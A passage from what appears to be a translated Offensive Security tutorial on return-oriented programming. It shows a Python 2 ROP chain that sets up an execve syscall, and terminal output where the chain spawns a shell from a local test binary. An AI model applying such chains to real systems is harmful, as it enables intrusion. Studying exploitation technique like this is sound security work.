p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# set NULL bytes
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+8) # @ .data + 7
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+9) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+10) # @ .data + 9
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0+11) # @ .data + 10
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
# set register for execve
p += pack("<I", 0x08048144) # pop %ebx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080bc924) # pop %ecx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
# set eax pour execve syscall
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x080491f9) # int $0x80
print p
jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids3.py)"
sh-4.2$
Таким образом, вы можете создавать свои собственные гаджеты и затем использовать их. Эти методы будут добавлены в следующих версиях ROPgadget.
© Offensive Security 2011